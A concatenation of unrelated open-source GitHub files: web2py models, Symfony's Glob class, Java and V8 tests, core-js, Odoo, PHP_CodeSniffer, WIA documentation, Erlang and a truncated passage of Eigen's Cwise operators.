# coding: utf-8 from gluon.dal import Field from basemodel import BaseModel from helpers.customvalidators import COMMA_SEPARATED_LIST from helpers.widgets import StringListWidget from gluon.validators import IS_SLUG, IS_NOT_EMPTY, IS_EMPTY_OR, IS_IMAGE, IS_IN_SET, IS_NOT_IN_DB from helpers.images import THUMB2 from plugin_ckeditor import CKEditor class Report(BaseModel): tablename = "report_content" def set_properties(self): self.fields = [ Field("content_type"), Field("item_id", "integer"), Field("slug"), Field("reason"), Field("details", "text") ] reasons = ["Publicação não é vegana", "Violação de direitos autorais", "Falta de referências/fontes", "Conteúdo ofensivo", "Publicação falsa/mentirosa", "Usuário falso", "Usuário ofensivo", "Usuário desrespeita os termos e condições da rede", "Outro motivo (Justifique abaixo)"] self.validators = { "reason": IS_IN_SET(reasons) } self.labels = { "content_type": self.db.T("Content Type"), "item_id": self.db.T("Item id"), "slug": self.db.T("Item url slug"), "reason": self.db.T("Reason"), "details": self.db.T("Details") } class Page(BaseModel): tablename = "internal_page" def set_properties(self): ckeditor = CKEditor() self.fields = [ Field("title", unique=True), Field("description", "text"), Field("page_content", "text"), Field("picture", "upload"), Field("thumbnail", "upload"), Field("tags", "list:string"), Field("slug"), Field("page_scope", "list:string", default=["public", "sitemap"]), Field("visibility"), Field("text_language", default="pt-br"), Field("redirect_url"), ] self.widgets = { "tags": StringListWidget.widget, "page_content": ckeditor.widget } self.comments = { "page_scope": "public, sitemap, members" } self.computations = { "slug": lambda r: IS_SLUG()(r.title)[0], "thumbnail": lambda r: THUMB2(r.picture, 200, 200) } self.validators = { "title": [IS_NOT_EMPTY(), IS_NOT_IN_DB(self.db, "internal_page.title")], "description": IS_NOT_EMPTY(), "picture": IS_EMPTY_OR(IS_IMAGE()), "tags": COMMA_SEPARATED_LIST(), "text_language": IS_IN_SET(["en", "pt-br", "es"]) }
{ "pile_set_name": "Github" }
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <[email protected]> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Finder; /** * Glob matches globbing patterns against text. * * if match_glob("foo.*", "foo.bar") echo "matched\n"; * * // prints foo.bar and foo.baz * $regex = glob_to_regex("foo.*"); * for (['foo.bar', 'foo.baz', 'foo', 'bar'] as $t) * { * if (/$regex/) echo "matched: $car\n"; * } * * Glob implements glob(3) style matching that can be used to match * against text, rather than fetching names from a filesystem. * * Based on the Perl Text::Glob module. * * @author Fabien Potencier <[email protected]> PHP port * @author Richard Clamp <[email protected]> Perl version * @copyright 2004-2005 Fabien Potencier <[email protected]> * @copyright 2002 Richard Clamp <[email protected]> */ class Glob { /** * Returns a regexp which is the equivalent of the glob pattern. * * @param string $glob The glob pattern * @param bool $strictLeadingDot * @param bool $strictWildcardSlash * @param string $delimiter Optional delimiter * * @return string regex The regexp */ public static function toRegex($glob, $strictLeadingDot = true, $strictWildcardSlash = true, $delimiter = '#') { $firstByte = true; $escaping = false; $inCurlies = 0; $regex = ''; $sizeGlob = \strlen($glob); for ($i = 0; $i < $sizeGlob; ++$i) { $car = $glob[$i]; if ($firstByte && $strictLeadingDot && '.' !== $car) { $regex .= '(?=[^\.])'; } $firstByte = '/' === $car; if ($firstByte && $strictWildcardSlash && isset($glob[$i + 2]) && '**' === $glob[$i + 1].$glob[$i + 2] && (!isset($glob[$i + 3]) || '/' === $glob[$i + 3])) { $car = '[^/]++/'; if (!isset($glob[$i + 3])) { $car .= '?'; } if ($strictLeadingDot) { $car = '(?=[^\.])'.$car; } $car = '/(?:'.$car.')*'; $i += 2 + isset($glob[$i + 3]); if ('/' === $delimiter) { $car = str_replace('/', '\\/', $car); } } if ($delimiter === $car || '.' === $car || '(' === $car || ')' === $car || '|' === $car || '+' === $car || '^' === $car || '$' === $car) { $regex .= "\\$car"; } elseif ('*' === $car) { $regex .= $escaping ? '\\*' : ($strictWildcardSlash ? '[^/]*' : '.*'); } elseif ('?' === $car) { $regex .= $escaping ? '\\?' : ($strictWildcardSlash ? '[^/]' : '.'); } elseif ('{' === $car) { $regex .= $escaping ? '\\{' : '('; if (!$escaping) { ++$inCurlies; } } elseif ('}' === $car && $inCurlies) { $regex .= $escaping ? '}' : ')'; if (!$escaping) { --$inCurlies; } } elseif (',' === $car && $inCurlies) { $regex .= $escaping ? ',' : '|'; } elseif ('\\' === $car) { if ($escaping) { $regex .= '\\\\'; $escaping = false; } else { $escaping = true; } continue; } else { $regex .= $car; } $escaping = false; } return $delimiter.'^'.$regex.'$'.$delimiter; } }
{ "pile_set_name": "Github" }
/* * Copyright (c) [2020] Huawei Technologies Co.,Ltd.All rights reserved. * * OpenArkCompiler is licensed under the Mulan PSL v1. * You can use this software according to the terms and conditions of the Mulan PSL v1. * You may obtain a copy of Mulan PSL v1 at: * * http://license.coscl.org.cn/MulanPSL * * THIS SOFTWARE IS PROVIDED ON AN "AS IS" BASIS, WITHOUT WARRANTIES OF ANY KIND, EITHER * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO NON-INFRINGEMENT, MERCHANTABILITY OR * FIT FOR A PARTICULAR PURPOSE. * See the Mulan PSL v1 for more details. * -@TestCaseID: StringCompareToIgnoreCaseTest.java * -@TestCaseName: Test String Method: int compareToIgnoreCase(String str). * -@TestCaseType: Function Test * -@RequirementName: Java字符串实现 * -@Brief: * -#step1: Create String instance, parameter anotherString instance. * -#step2: Test method test.compareTo(anotherString). * -#step3: Check the int result is correctly. * -#step4: Change anotherString as One or more kinds of letters, numbers, special symbols/""/NoParam to repeat step2~3. * -@Expect: expected.txt * -@Priority: High * -@Source: StringCompareToIgnoreCaseTest.java * -@ExecuteClass: StringCompareToIgnoreCaseTest * -@ExecuteArgs: */ import java.io.PrintStream; public class StringCompareToIgnoreCaseTest { private static int processResult = 99; public static void main(String[] argv) { System.out.println(run(argv, System.out)); } public static int run(String[] argv, PrintStream out) { int result = 2; /* STATUS_Success */ try { StringCompareToIgnoreCaseTest_1(); } catch (Exception e) { processResult -= 10; } if (result == 2 && processResult == 99) { result = 0; } return result; } public static void StringCompareToIgnoreCaseTest_1() { String str1_1 = new String("ABC123"); String str1_2 = new String("******"); String str1_3 = new String("abc123"); String str1_4 = new String(""); String str1_5 = new String(); String str2_1 = "ABC123"; String str2_2 = "******"; String str2_3 = "abc123"; String str2_4 = ""; test(str1_1); test(str1_2); test(str1_3); test(str1_4); test(str1_5); test(str2_1); test(str2_2); test(str2_3); test(str2_4); } private static void test(String str) { String test = "ABC123"; int result = test.compareToIgnoreCase(str); System.out.println(result); } } // EXEC:%maple %f %build_option -o %n.so // EXEC:%run %n.so %n %run_option | compare %f // ASSERT: scan-full 0\n55\n0\n6\n6\n0\n55\n0\n6\n0\n
{ "pile_set_name": "Github" }
'use strict'; var ctx = require('./_ctx'); var $export = require('./_export'); var toObject = require('./_to-object'); var call = require('./_iter-call'); var isArrayIter = require('./_is-array-iter'); var toLength = require('./_to-length'); var createProperty = require('./_create-property'); var getIterFn = require('./core.get-iterator-method'); $export($export.S + $export.F * !require('./_iter-detect')(function (iter) { Array.from(iter); }), 'Array', { // 22.1.2.1 Array.from(arrayLike, mapfn = undefined, thisArg = undefined) from: function from(arrayLike /* , mapfn = undefined, thisArg = undefined */) { var O = toObject(arrayLike); var C = typeof this == 'function' ? this : Array; var aLen = arguments.length; var mapfn = aLen > 1 ? arguments[1] : undefined; var mapping = mapfn !== undefined; var index = 0; var iterFn = getIterFn(O); var length, result, step, iterator; if (mapping) mapfn = ctx(mapfn, aLen > 2 ? arguments[2] : undefined, 2); // if object isn't iterable or it's array with default iterator - use simple case if (iterFn != undefined && !(C == Array && isArrayIter(iterFn))) { for (iterator = iterFn.call(O), result = new C(); !(step = iterator.next()).done; index++) { createProperty(result, index, mapping ? call(iterator, mapfn, [step.value, index], true) : step.value); } } else { length = toLength(O.length); for (result = new C(length); length > index; index++) { createProperty(result, index, mapping ? mapfn(O[index], index) : O[index]); } } result.length = index; return result; } });
{ "pile_set_name": "Github" }
#ifndef STDIO_PRIVATE_H_ #define STDIO_PRIVATE_H_ #include "cgc_stdio.h" #define INVALID_IDX -1 #define F_READ 1 #define F_WRITE 2 struct FILE { int fd; int rw; int idx; int length; char buffer[1024]; }; #endif
{ "pile_set_name": "Github" }
# Copyright 2020 Camptocamp SA # License AGPL-3.0 or later (https://www.gnu.org/licenses/agpl) from odoo import _, api, fields, models from odoo.exceptions import ValidationError from odoo.tools import float_is_zero class SaleOrderLine(models.Model): _inherit = "sale.order.line" def _can_be_sold_error_condition(self): self.ensure_one() return self.product_packaging and not self.product_packaging.can_be_sold @api.constrains("product_packaging") def _check_product_packaging_can_be_sold(self): for line in self: if line._can_be_sold_error_condition(): raise ValidationError( _( "Packaging %s on product %s must be set as 'Can be sold'" " in order to be used on a sale order." ) % (line.product_packaging.name, line.product_id.name) ) @api.onchange("product_packaging") def _onchange_product_packaging(self): if self._can_be_sold_error_condition(): return { "warning": { "title": _("Warning"), "message": _( "This product packaging must be set as 'Can be sold' in" " order to be used on a sale order." ), }, } return super()._onchange_product_packaging() @api.constrains("product_id", "product_packaging") def _check_product_packaging_sell_only_by_packaging(self): for line in self: if line.product_id.sell_only_by_packaging and not line.product_packaging: raise ValidationError( _( "Product %s can only be sold with a packaging." % line.product_id.name ) ) @api.onchange("product_id") def product_id_change(self): res = super().product_id_change() if self.product_id.sell_only_by_packaging: first_packaging = fields.first( self.product_id.packaging_ids.filtered( lambda p: not float_is_zero( p.qty, precision_rounding=p.product_uom_id.rounding ) ) ) if first_packaging: self.update( { "product_packaging": first_packaging.id, "product_uom_qty": first_packaging.qty, } ) return res @api.onchange("product_uom_qty") def _onchange_product_uom_qty(self): res = super()._onchange_product_uom_qty() if not res: res = self._check_qty_is_pack_multiple() return res def _check_qty_is_pack_multiple(self): """ Check only for product with sell_only_by_packaging """ # and we dont want to have this warning when we had the product if self.product_id.sell_only_by_packaging: if not self._get_product_packaging_having_multiple_qty( self.product_id, self.product_uom_qty, self.product_uom ): warning_msg = { "title": _("Product quantity cannot be packed"), "message": _( "For the product {prod}\n" "The {qty} is not the multiple of any pack.\n" "Please add a package" ).format(prod=self.product_id.name, qty=self.product_uom_qty), } return {"warning": warning_msg} return {} def _get_product_packaging_having_multiple_qty(self, product, qty, uom): if uom != product.uom_id: qty = uom._compute_quantity(qty, product.uom_id) return product.get_first_packaging_with_multiple_qty(qty) def write(self, vals): """Auto assign packaging if needed""" fields_to_check = ["product_id", "product_uom_qty", "product_uom"] if vals.get("product_packaging") or not any( fname in vals for fname in fields_to_check ): return super().write(vals) for line in self: line_vals = vals.copy() line_vals.update(line._write_auto_assign_packaging(line_vals)) super(SaleOrderLine, line).write(line_vals) return True def _write_auto_assign_packaging(self, vals): self.ensure_one() product = ( self.env["product.product"].browse(vals["product_id"]) if "product_id" in vals else self.product_id ) if product and product.sell_only_by_packaging: quantity = ( vals["product_uom_qty"] if "product_uom_qty" in vals else self.product_uom_qty ) uom = ( self.env["uom.uom"].browse(vals["product_uom"]) if "product_uom" in vals else self.product_uom ) packaging = self._get_product_packaging_having_multiple_qty( product, quantity, uom ) if packaging: return {"product_packaging": packaging.id} # No need to raise an error here if no packaging has been found # since the error on _check_product_packaging will be raised return {} @api.model def create(self, vals): """Auto assign packaging if needed""" # Fill the packaging if they are empty and the quantity is a multiple vals.update(self._create_auto_assign_packaging(vals)) return super().create(vals) @api.model def _create_auto_assign_packaging(self, vals): product = ( self.env["product.product"].browse(vals["product_id"]) if "product_id" in vals else False ) if product and product.sell_only_by_packaging: quantity = vals.get("product_uom_qty") uom = self.env["uom.uom"].browse(vals.get("product_uom")) packaging = self._get_product_packaging_having_multiple_qty( product, quantity, uom ) if packaging: return {"product_packaging": packaging.id} # No need to raise an error here if no packaging has been found # since the error on _check_product_packaging will be raised return {}
{ "pile_set_name": "Github" }
# Copyright 2013 the V8 project authors. All rights reserved. # Copyright (C) 2005, 2006, 2007, 2008, 2009 Apple Inc. All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions # are met: # 1. Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # 2. Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # # THIS SOFTWARE IS PROVIDED BY APPLE INC. AND ITS CONTRIBUTORS ``AS IS'' AND ANY # EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED # WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE # DISCLAIMED. IN NO EVENT SHALL APPLE INC. OR ITS CONTRIBUTORS BE LIABLE FOR ANY # DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES # (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; # LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON # ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS # SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. This test ensures that regeular expression literals are constants, and so persist over multiple executions On success, you will see a series of "PASS" messages, followed by "TEST COMPLETE". PASS currentRegExp === lastRegExp is false PASS currentRegExp === lastRegExp is false PASS returnRegExpLiteral() === returnRegExpLiteral() is false PASS returnConditionalRegExpLiteral(true) === returnConditionalRegExpLiteral(true) is false PASS returnConditionalRegExpLiteral(false) === returnConditionalRegExpLiteral(false) is false PASS returnConditionalRegExpLiteral(true) === returnConditionalRegExpLiteral(false) is false PASS returnRegExpLiteral().someAddedProperty is undefined. PASS successfullyParsed is true TEST COMPLETE
{ "pile_set_name": "Github" }
--- title: WIA\_IPS\_SUPPORTED\_PATCH\_CODE\_TYPES description: The WIA minidriver uses the WIA\_IPS\_SUPPORTED\_PATCH\_CODE\_TYPES property to list all patch code types that are supported (understood) by the Patch Code Reader. ms.assetid: DA55BFFD-64E9-4D96-AB04-F2112E1F117B keywords: ["WIA_IPS_SUPPORTED_PATCH_CODE_TYPES Imaging Devices"] topic_type: - apiref api_name: - WIA_IPS_SUPPORTED_PATCH_CODE_TYPES api_location: - Wiadef.h api_type: - HeaderDef ms.date: 11/28/2017 ms.localizationpriority: medium --- # WIA\_IPS\_SUPPORTED\_PATCH\_CODE\_TYPES The WIA minidriver uses the **WIA\_IPS\_SUPPORTED\_PATCH\_CODE\_TYPES** property to list all patch code types that are supported (understood) by the Patch Code Reader. The supported barcode types are reported in a VT\_VECTOR array as a single value that contains multiple entries. Property Type: VT\_I4 | VT\_VECTOR Valid Values: WIA\_PROP\_NONE (single 'array'/vector value) Access Rights: Read-only Remarks ------- The following table describes the valid values for the **WIA\_IPS\_SUPPORTED\_PATCH\_CODE\_TYPES** property. <table> <colgroup> <col width="50%" /> <col width="50%" /> </colgroup> <thead> <tr class="header"> <th>Value</th> <th>Definition</th> </tr> </thead> <tbody> <tr class="odd"> <td><p>WIA_PATCH_CODE_1</p></td> <td><p>Patch code 1</p></td> </tr> <tr class="even"> <td><p>WIA_PATCH_CODE_2</p></td> <td><p>Patch code 2</p></td> </tr> <tr class="odd"> <td><p>WIA_PATCH_CODE_3</p></td> <td><p>Patch code 3</p></td> </tr> <tr class="even"> <td><p>WIA_PATCH_CODE_4</p></td> <td><p>Patch code 4</p></td> </tr> <tr class="odd"> <td><p>WIA_PATCH_CODE_6</p></td> <td><p>Patch code 6</p></td> </tr> <tr class="even"> <td><p>WIA_PATCH_CODE_T</p></td> <td><p>Patch code T</p></td> </tr> <tr class="odd"> <td><p>WIA_PATCH_CODE_CUSTOM_BASE + N</p></td> <td><p>WIA_PATCH_CODE_CUSTOM_BASE is the offset to all custom patch code values the WIA minidriver may add. N is a positive integer.</p></td> </tr> </tbody> </table> The WIA minidriver can extend this list with additional custom values defined as WIA\_PATCH\_CODE\_CUSTOM\_BASE + N, where N is a positive integer. This property is required for all Patch Code Reader items. Requirements ------------ <table> <colgroup> <col width="50%" /> <col width="50%" /> </colgroup> <tbody> <tr class="odd"> <td><p>Header</p></td> <td>Wiadef.h (include Wiadef.h)</td> </tr> </tbody> </table>
{ "pile_set_name": "Github" }
%% -*- erlang-indent-level: 4;indent-tabs-mode: nil; fill-column: 92 -*- %% ex: ts=4 sw=4 et %% @author Seth Falcon <[email protected]> %% Copyright 2012-2014 Chef Software, Inc. All Rights Reserved. %% %% This file is provided to you under the Apache License, %% Version 2.0 (the "License"); you may not use this file %% except in compliance with the License. You may obtain %% a copy of the License at %% %% http://www.apache.org/licenses/LICENSE-2.0 %% %% Unless required by applicable law or agreed to in writing, %% software distributed under the License is distributed on an %% "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY %% KIND, either express or implied. See the License for the %% specific language governing permissions and limitations %% under the License. %% -module(chef_wm_darklaunch). -export([get_proplist/1, is_enabled/2]). -ifndef(CHEF_WM_DARKLAUNCH). is_enabled(<<"couchdb_", _Rest/binary>>, _) -> false; is_enabled(<<"rabbit_aux_", _Rest/binary>>, _) -> false; is_enabled(<<"query_aux_", _Rest/binary>>, _) -> false; is_enabled(<<"solr4">>, _) -> false; is_enabled(_, _) -> true. get_proplist(_) -> []. -else. is_enabled(Feature, Darklaunch) -> ?CHEF_WM_DARKLAUNCH:is_enabled(Feature, Darklaunch). get_proplist(Darklaunch) -> ?CHEF_WM_DARKLAUNCH:get_proplist(Darklaunch). -endif.
{ "pile_set_name": "Github" }
<?php /** * Squiz_Sniffs_WhiteSpace_SuperfluousWhitespaceSniff. * * PHP version 5 * * @category PHP * @package PHP_CodeSniffer * @author Greg Sherwood <[email protected]> * @author Marc McIntyre <[email protected]> * @copyright 2006-2014 Squiz Pty Ltd (ABN 77 084 670 600) * @license https://github.com/squizlabs/PHP_CodeSniffer/blob/master/licence.txt BSD Licence * @link http://pear.php.net/package/PHP_CodeSniffer */ /** * Squiz_Sniffs_WhiteSpace_SuperfluousWhitespaceSniff. * * Checks that no whitespace proceeds the first content of the file, exists * after the last content of the file, resides after content on any line, or * are two empty lines in functions. * * @category PHP * @package PHP_CodeSniffer * @author Greg Sherwood <[email protected]> * @author Marc McIntyre <[email protected]> * @copyright 2006-2014 Squiz Pty Ltd (ABN 77 084 670 600) * @license https://github.com/squizlabs/PHP_CodeSniffer/blob/master/licence.txt BSD Licence * @version Release: @package_version@ * @link http://pear.php.net/package/PHP_CodeSniffer */ class Squiz_Sniffs_WhiteSpace_SuperfluousWhitespaceSniff implements PHP_CodeSniffer_Sniff { /** * A list of tokenizers this sniff supports. * * @var array */ public $supportedTokenizers = array( 'PHP', 'JS', 'CSS', ); /** * If TRUE, whitespace rules are not checked for blank lines. * * Blank lines are those that contain only whitespace. * * @var boolean */ public $ignoreBlankLines = false; /** * Returns an array of tokens this test wants to listen for. * * @return array */ public function register() { return array( T_OPEN_TAG, T_CLOSE_TAG, T_WHITESPACE, T_COMMENT, T_DOC_COMMENT_WHITESPACE, T_CLOSURE, ); }//end register() /** * Processes this sniff, when one of its tokens is encountered. * * @param PHP_CodeSniffer_File $phpcsFile The file being scanned. * @param int $stackPtr The position of the current token in the * stack passed in $tokens. * * @return void */ public function process(PHP_CodeSniffer_File $phpcsFile, $stackPtr) { $tokens = $phpcsFile->getTokens(); if ($tokens[$stackPtr]['code'] === T_OPEN_TAG) { /* Check for start of file whitespace. */ if ($phpcsFile->tokenizerType !== 'PHP') { // The first token is always the open tag inserted when tokenizsed // and the second token is always the first piece of content in // the file. If the second token is whitespace, there was // whitespace at the start of the file. if ($tokens[($stackPtr + 1)]['code'] !== T_WHITESPACE) { return; } if ($phpcsFile->fixer->enabled === true) { $stackPtr = $phpcsFile->findNext(T_WHITESPACE, ($stackPtr + 1), null, true); } } else { // If it's the first token, then there is no space. if ($stackPtr === 0) { return; } for ($i = ($stackPtr - 1); $i >= 0; $i--) { // If we find something that isn't inline html then there is something previous in the file. if ($tokens[$i]['type'] !== 'T_INLINE_HTML') { return; } // If we have ended up with inline html make sure it isn't just whitespace. $tokenContent = trim($tokens[$i]['content']); if ($tokenContent !== '') { return; } } }//end if $fix = $phpcsFile->addFixableError('Additional whitespace found at start of file', $stackPtr, 'StartFile'); if ($fix === true) { $phpcsFile->fixer->beginChangeset(); for ($i = 0; $i < $stackPtr; $i++) { $phpcsFile->fixer->replaceToken($i, ''); } $phpcsFile->fixer->endChangeset(); } } else if ($tokens[$stackPtr]['code'] === T_CLOSE_TAG) { /* Check for end of file whitespace. */ if ($phpcsFile->tokenizerType === 'PHP') { if (isset($tokens[($stackPtr + 1)]) === false) { // The close PHP token is the last in the file. return; } for ($i = ($stackPtr + 1); $i < $phpcsFile->numTokens; $i++) { // If we find something that isn't inline HTML then there // is more to the file. if ($tokens[$i]['type'] !== 'T_INLINE_HTML') { return; } // If we have ended up with inline html make sure it // isn't just whitespace. $tokenContent = trim($tokens[$i]['content']); if (empty($tokenContent) === false) { return; } } } else { // The last token is always the close tag inserted when tokenized // and the second last token is always the last piece of content in // the file. If the second last token is whitespace, there was // whitespace at the end of the file. $stackPtr--; // The pointer is now looking at the last content in the file and // not the fake PHP end tag the tokenizer inserted. if ($tokens[$stackPtr]['code'] !== T_WHITESPACE) { return; } // Allow a single newline at the end of the last line in the file. if ($tokens[($stackPtr - 1)]['code'] !== T_WHITESPACE && $tokens[$stackPtr]['content'] === $phpcsFile->eolChar ) { return; } if ($phpcsFile->fixer->enabled === true) { $prev = $phpcsFile->findPrevious(T_WHITESPACE, ($stackPtr - 1), null, true); $stackPtr = ($prev + 1); } }//end if $fix = $phpcsFile->addFixableError('Additional whitespace found at end of file', $stackPtr, 'EndFile'); if ($fix === true) { $phpcsFile->fixer->beginChangeset(); for ($i = ($stackPtr + 1); $i < $phpcsFile->numTokens; $i++) { $phpcsFile->fixer->replaceToken($i, ''); } $phpcsFile->fixer->endChangeset(); } } else { /* Check for end of line whitespace. */ // Ignore whitespace that is not at the end of a line. if (isset($tokens[($stackPtr + 1)]['line']) === true && $tokens[($stackPtr + 1)]['line'] === $tokens[$stackPtr]['line'] ) { return; } // Ignore blank lines if required. if ($this->ignoreBlankLines === true && $tokens[($stackPtr - 1)]['line'] !== $tokens[$stackPtr]['line'] ) { return; } $tokenContent = rtrim($tokens[$stackPtr]['content'], $phpcsFile->eolChar); if (empty($tokenContent) === false) { if ($tokenContent !== rtrim($tokenContent)) { $fix = $phpcsFile->addFixableError('Whitespace found at end of line', $stackPtr, 'EndLine'); if ($fix === true) { $phpcsFile->fixer->replaceToken($stackPtr, rtrim($tokenContent).$phpcsFile->eolChar); } } } else if ($tokens[($stackPtr - 1)]['content'] !== rtrim($tokens[($stackPtr - 1)]['content']) && $tokens[($stackPtr - 1)]['line'] === $tokens[$stackPtr]['line'] ) { $fix = $phpcsFile->addFixableError('Whitespace found at end of line', ($stackPtr - 1), 'EndLine'); if ($fix === true) { $phpcsFile->fixer->replaceToken(($stackPtr - 1), rtrim($tokens[($stackPtr - 1)]['content'])); } } /* Check for multiple blank lines in a function. */ if (($phpcsFile->hasCondition($stackPtr, T_FUNCTION) === true || $phpcsFile->hasCondition($stackPtr, T_CLOSURE) === true) && $tokens[($stackPtr - 1)]['line'] < $tokens[$stackPtr]['line'] && $tokens[($stackPtr - 2)]['line'] === $tokens[($stackPtr - 1)]['line'] ) { // This is an empty line and the line before this one is not // empty, so this could be the start of a multiple empty // line block. $next = $phpcsFile->findNext(T_WHITESPACE, $stackPtr, null, true); $lines = ($tokens[$next]['line'] - $tokens[$stackPtr]['line']); if ($lines > 1) { $error = 'Functions must not contain multiple empty lines in a row; found %s empty lines'; $fix = $phpcsFile->addFixableError($error, $stackPtr, 'EmptyLines', array($lines)); if ($fix === true) { $phpcsFile->fixer->beginChangeset(); $i = $stackPtr; while ($tokens[$i]['line'] !== $tokens[$next]['line']) { $phpcsFile->fixer->replaceToken($i, ''); $i++; } $phpcsFile->fixer->addNewlineBefore($i); $phpcsFile->fixer->endChangeset(); } } }//end if }//end if }//end process() }//end class
{ "pile_set_name": "Github" }
var mkdirp = require('mkdirp'); mkdirp('/tmp/foo/bar/baz', function (err) { if (err) console.error(err) else console.log('pow!') });
{ "pile_set_name": "Github" }
// This file is part of Eigen, a lightweight C++ template library // for linear algebra. // // Copyright (C) 2008 Gael Guennebaud <[email protected]> // // This Source Code Form is subject to the terms of the Mozilla // Public License v. 2.0. If a copy of the MPL was not distributed // with this file, You can obtain one at http://mozilla.org/MPL/2.0/. #ifndef EIGEN_ARRAY_CWISE_OPERATORS_H #define EIGEN_ARRAY_CWISE_OPERATORS_H namespace Eigen { /*************************************************************************** * The following functions were defined in Core ***************************************************************************/ /** \deprecated ArrayBase::abs() */ template<typename ExpressionType> EIGEN_STRONG_INLINE const EIGEN_CWISE_UNOP_RETURN_TYPE(internal::scalar_abs_op) Cwise<ExpressionType>::abs() const { return _expression(); } /** \deprecated ArrayBase::abs2() */ template<typename ExpressionType> EIGEN_STRONG_INLINE const EIGEN_CWISE_UNOP_RETURN_TYPE(internal::scalar_abs2_op) Cwise<ExpressionType>::abs2() const { return _expression(); } /** \deprecated ArrayBase::exp() */ template<typename ExpressionType> inline const EIGEN_CWISE_UNOP_RETURN_TYPE(internal::scalar_exp_op) Cwise<ExpressionType>::exp() const { return _expression(); } /** \deprecated ArrayBase::log() */ template<typename ExpressionType> inline const EIGEN_CWISE_UNOP_RETURN_TYPE(internal::scalar_log_op) Cwise<ExpressionType>::log() const { return _expression(); } /** \deprecated ArrayBase::operator*() */ template<typename ExpressionType> template<typename OtherDerived> EIGEN_STRONG_INLINE const EIGEN_CWISE_PRODUCT_RETURN_TYPE(ExpressionType,OtherDerived) Cwise<ExpressionType>::operator*(const MatrixBase<OtherDerived> &other) const { return EIGEN_CWISE_PRODUCT_RETURN_TYPE(ExpressionType,OtherDerived)(_expression(), other.derived()); } /** \deprecated ArrayBase::operator/() */ template<typename ExpressionType> template<typename OtherDerived> EIGEN_STRONG_INLINE const EIGEN_CWISE_BINOP_RETURN_TYPE(internal::scalar_quotient_op) Cwise<ExpressionType>::operator/(const MatrixBase<OtherDerived> &other) const { return EIGEN_CWISE_BINOP_RETURN_TYPE(internal::scalar_quotient_op)(_expression(), other.derived()); } /** \deprecated ArrayBase::operator*=() */ template<typename ExpressionType> template<typename OtherDerived> inline ExpressionType& Cwise<ExpressionType>::operator*=(const MatrixBase<OtherDerived> &other) { return m_matrix.const_cast_derived() = *this * other; } /** \deprecated ArrayBase::operator/=() */ template<typename ExpressionType> template<typename OtherDerived> inline ExpressionType& Cwise<ExpressionType>::operator/=(const MatrixBase<OtherDerived> &other) { return m_matrix.const_cast_derived() = *this / other; } /*************************************************************************** * The following functions were defined in Array ***************************************************************************/ // -- unary operators -- /** \deprecated ArrayBase::sqrt() */ template<typename ExpressionType> inline const EIGEN_CWISE_UNOP_RETURN_TYPE(internal::scalar_sqrt_op) Cwise<ExpressionType>::sqrt() const { return _expression(); } /** \deprecated ArrayBase::cos() */ template<typename ExpressionType> inline const EIGEN_CWISE_UNOP_RETURN_TYPE(internal::scalar_cos_op) Cwise<ExpressionType>::cos() const { return _expression(); } /** \deprecated ArrayBase::sin() */ template<typename ExpressionType> inline const EIGEN_CWISE_UNOP_RETURN_TYPE(internal::scalar_sin_op) Cwise<ExpressionType>::sin() const { return _expression(); } /** \deprecated ArrayBase::log() */ template<typename ExpressionType> inline const EIGEN_CWISE_UNOP_RETURN_TYPE(internal::scalar_pow_op) Cwise<ExpressionType>::pow(const Scalar& exponent) const { return EIGEN_CWISE_UNOP_RETURN_TYPE(internal::scalar_pow_op)(_expression(), internal::scalar_pow_op<Scalar>(exponent)); } /** \deprecated ArrayBase::inverse() */ template<typename ExpressionType> inline const EIGEN_CWISE_UNOP_RETURN_TYPE(internal::scalar_inverse_op) Cwise<ExpressionType>::inverse() const { return _expression(); } /** \deprecated ArrayBase::square() */ template<typename ExpressionType> inline const EIGEN_CWISE_UNOP_RETURN_TYPE(internal::scalar_square_op) Cwise<ExpressionType>::square() const { return _expression(); } /** \deprecated ArrayBase::cube() */ template<typename ExpressionType> inline const EIGEN_CWISE_UNOP_RETURN_TYPE(internal::scalar_cube_op) Cwise<ExpressionType>::cube() const { return _expression(); } // -- binary operators -- /** \deprecated ArrayBase::operator<() */ template<typename ExpressionType> template<typename OtherDerived> inline const EIGEN_CWISE_BINOP_RETURN_TYPE(std::less) Cwise<ExpressionType>::operator<(const MatrixBase<OtherDerived> &other) const { return EIGEN_CWISE_BINOP_RETURN_TYPE(std::less)(_expression(), other.derived()); } /** \deprecated ArrayBase::<=() */ template<typename ExpressionType> template<typename OtherDerived> inline const EIGEN_CWISE_BINOP_RETURN_TYPE(std::less_equal) Cwise<ExpressionType>::operator<=(const MatrixBase<OtherDerived> &other) const { return EIGEN_CWISE_BINOP_RETURN_TYPE(std::less_equal)(_expression(), other.derived()); } /** \deprecated ArrayBase::operator>() */ template<typename ExpressionType> template<typename OtherDerived> inline const EIGEN_CWISE_BINOP_RETURN_TYPE(std::greater) Cwise<ExpressionType>::operator>(const MatrixBase<OtherDerived> &other) const { return EIGEN_CWISE_BINOP_RETURN_TYPE(std::greater)(_expression(), other.derived()); } /** \deprecated ArrayBase::operator>=() */ template<typename ExpressionType> template<typename OtherDerived> inline const EIGEN_CWISE_BINOP_RETURN_TYPE(std::greater_equal) Cwise<ExpressionType>::operator>=(const MatrixBase<OtherDerived> &other) const { return EIGEN_CWISE_BINOP_RETURN_TYPE(std::greater_equal)(_expression(), other.derived()); } /** \deprecated ArrayBase::operator==() */ template<typename ExpressionType> 